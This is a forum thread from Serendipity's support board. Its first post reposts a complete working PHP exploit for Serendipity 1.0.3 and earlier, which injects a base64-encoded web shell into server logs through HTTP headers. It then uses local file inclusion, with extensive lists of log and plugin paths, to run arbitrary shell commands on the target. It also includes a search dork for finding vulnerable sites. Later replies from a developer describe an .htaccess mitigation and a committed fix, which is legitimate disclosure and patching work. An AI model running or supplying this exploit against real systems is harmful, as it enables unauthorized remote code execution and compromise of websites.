Serendipity <= 1.0.3 Local File Include Exploit

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Majestic
Posts: 1
Joined: Thu Nov 30, 2006 7:36 pm

Serendipity <= 1.0.3 Local File Include Exploit

Post by Majestic » Thu Nov 30, 2006 7:38 pm

Code: Select all

<?

print '
:::::::::  :::::::::: :::     ::: ::::::::::: :::       
:+:    :+: :+:        :+:     :+:     :+:     :+:       
+:+    +:+ +:+        +:+     +:+     +:+     +:+       
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+       
+#+    +#+ +#+         +#+   +#+      +#+     +#+       
#+#    #+# #+#          #+#+#+#       #+#     #+#       
#########  ##########     ###     ########### ##########
::::::::::: ::::::::::     :::     ::::    :::: 
    :+:     :+:          :+: :+:   +:+:+: :+:+:+
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
    +#+     +#+        +#+     +#+ +#+       +#+
    #+#     #+#        #+#     #+# #+#       #+#
    ###     ########## ###     ### ###       ###
   
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 

[Exploit name: Serendipity <= 1.0.3 Local File Include Exploit
[Script name: Serendipity v.1.0.3
[Script site: http://www.s9y.org/
dork: "Betrieben mit Serendipity 1.0.3"


works with register_globals=On


Find by: Kacper (a.k.a Rahim)


========>  DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam  <========
========>         http://www.rahim.webd.pl/            <========

Contact: kacper1964@yahoo.pl

(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)
pepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P)

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';

if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      Serendipity path
cmd:       a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /Serendipity/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la
-----------------------------------------------------------------------------
');

die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "insert evil code in logfiles ...\r\n\r\n";
$hauru = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");

$packet="GET ".$p.$hauru." HTTP/1.0\r\n";
$packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacket($packet);
sleep(3);

echo "check logfile Vulnerabilities ...\n";
$packet ="POST ".$p."comment.php?type=trackback&entry_id=".$hauru." HTTP/1.0\r\n";
$packet.="User-Agent: ".$hauru."\r\n";
$packet.="CLIENT-IP: ".$hauru."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
if (strstr($html,"trackback failed."))
{
$temp=explode("trackback failed.",$html);
die($temp[1]);
}
echo " now remote code execution (option 1)...\n";
$packet ="GET ".$p."trackback2.log HTTP/1.1\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
sleep(1);

$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo " now remote code execution (option 2)...[".$a."]\n";
$packet ="GET ".$p."include/lang.inc.php?serendipity[charset]=../../".$paths[$i]."%00 HTTP/1.1\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}
$include= array (
"plugins/serendipity_event_bbcode/serendipity_event_bbcode.php",
"plugins/serendipity_event_browsercompatibility/serendipity_event_browsercompatibility.php",
"plugins/serendipity_event_contentrewrite/serendipity_event_contentrewrite.php",
"plugins/serendipity_event_creativecommons/serendipity_event_creativecommons.php",
"plugins/serendipity_event_emoticate/serendipity_event_emoticate.php",
"plugins/serendipity_event_entryproperties/serendipity_event_entryproperties.php",
"plugins/serendipity_event_karma/serendipity_event_karma.php",
"plugins/serendipity_event_livesearch/serendipity_event_livesearch.php",
"plugins/serendipity_event_mailer/serendipity_event_mailer.php",
"plugins/serendipity_event_nl2br/serendipity_event_nl2br.php",
"plugins/serendipity_event_s9ymarkup/serendipity_event_s9ymarkup.php",
"plugins/serendipity_event_searchhighlight/serendipity_event_searchhighlight.php",
"plugins/serendipity_event_spamblock/serendipity_event_spamblock.php",
"plugins/serendipity_event_spartacus/serendipity_event_spartacus.php",
"plugins/serendipity_event_statistics/serendipity_plugin_statistics.php",
"plugins/serendipity_event_templatechooser/serendipity_event_templatechooser.php",
"plugins/serendipity_event_textile/serendipity_event_textile.php",
"plugins/serendipity_event_textwiki/serendipity_event_textwiki.php",
"plugins/serendipity_event_trackexits/serendipity_event_trackexits.php",
"plugins/serendipity_event_weblogping/serendipity_event_weblogping.php",
"plugins/serendipity_event_xhtmlcleanup/serendipity_event_xhtmlcleanup.php",
"plugins/serendipity_plugin_comments/serendipity_plugin_comments.php",
"plugins/serendipity_plugin_creativecommons/serendipity_plugin_creativecommons.php",
"plugins/serendipity_plugin_entrylinks/serendipity_plugin_entrylinks.php",
"plugins/serendipity_plugin_eventwrapper/serendipity_plugin_eventwrapper.php",
"plugins/serendipity_plugin_history/serendipity_plugin_history.php",
"plugins/serendipity_plugin_recententries/serendipity_plugin_recententries.php",
"plugins/serendipity_plugin_remoterss/serendipity_plugin_remoterss.php",
"plugins/serendipity_plugin_shoutbox/serendipity_plugin_shoutbox.php",
"plugins/serendipity_plugin_templatedropdown/serendipity_plugin_templatedropdown.php",
);
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
for ($l=0; $l<=count($include)-1; $l++)
{
{
$b=$l+2;
echo " now remote code execution (option 3)...[".$b."]\n";
$packet ="GET ".$p."".$include[$l]."?serendipity[charset]=../../".$paths[$i]."%00 HTTP/1.1\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}
}
echo "Exploit err0r :( check register_globals\r\n";
echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";
?>

# milw0rm.com [2006-11-30]


Found at http://www.milw0rm.com/exploits/2869
Hope U could fix this asap

User avatar
garvinhicking
Core Developer
Posts: 30020
Joined: Tue Sep 16, 2003 9:45 pm
Location: Cologne, Germany
Contact:

Re: Serendipity <= 1.0.3 Local File Include Exploit

Post by garvinhicking » Thu Nov 30, 2006 10:13 pm

Hi!

On a properly configured host, the .htacces should take care of this because:

Code: Select all

<Files *.inc.php>
    deny from all
</Files>


On hosts without that, I see that the thing applies. We will post a fix for this tomorrow.

Best regards,
Garvin
# Garvin Hicking (s9y Developer)
# Did I help you? Consider making me happy: http://wishes.garv.in/
# or use my PayPal account "paypal {at} supergarv (dot) de"
# My "other" hobby: http://flickr.garv.in/

User avatar
garvinhicking
Core Developer
Posts: 30020
Joined: Tue Sep 16, 2003 9:45 pm
Location: Cologne, Germany
Contact:

Re: Serendipity <= 1.0.3 Local File Include Exploit

Post by garvinhicking » Thu Nov 30, 2006 10:35 pm

Hi!

I just committed a fix for this to SVN.

Best regards,
Garvin
# Garvin Hicking (s9y Developer)
# Did I help you? Consider making me happy: http://wishes.garv.in/
# or use my PayPal account "paypal {at} supergarv (dot) de"
# My "other" hobby: http://flickr.garv.in/

User avatar
judebert
Regular
Posts: 2478
Joined: Sat Oct 15, 2005 6:57 am
Location: Orlando, FL
Contact:

Post by judebert » Tue Dec 05, 2006 7:12 pm

Super work, Garvin.
Judebert
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